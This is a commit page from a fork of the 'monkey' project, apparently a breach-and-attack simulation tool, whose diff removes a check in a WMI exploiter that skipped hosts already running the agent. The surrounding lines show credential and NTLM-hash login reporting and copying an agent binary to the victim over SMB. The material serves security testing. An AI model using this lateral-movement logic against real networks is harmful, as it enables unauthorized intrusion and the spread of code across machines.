forked from p15670423/monkey
Agent: Remove remote check for running monkey in WMI exploiter
This commit is contained in:
parent
54bbe8bf2f
commit
b70144f5e1
|
@ -68,21 +68,6 @@ class WmiExploiter(HostExploiter):
|
||||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
|
|
||||||
# TODO: This check is racey at best. Is it really necessary? If we execute an agent on
|
|
||||||
# the victim and there's one already running, it will stop itself.
|
|
||||||
# query process list and check if monkey already running on victim
|
|
||||||
process_list = WmiTools.list_object(
|
|
||||||
wmi_connection,
|
|
||||||
"Win32_Process",
|
|
||||||
fields=("Caption",),
|
|
||||||
where=f"Name='{ntpath.split(self.options['dropper_target_path_win_64'])[-1]}'",
|
|
||||||
)
|
|
||||||
if process_list:
|
|
||||||
wmi_connection.close()
|
|
||||||
|
|
||||||
logger.debug("Skipping %r - already infected", self.host)
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"])
|
downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"])
|
||||||
|
|
||||||
remote_full_path = SmbTools.copy_file(
|
remote_full_path = SmbTools.copy_file(
|
||||||
|
|
Loading…
Reference in New Issue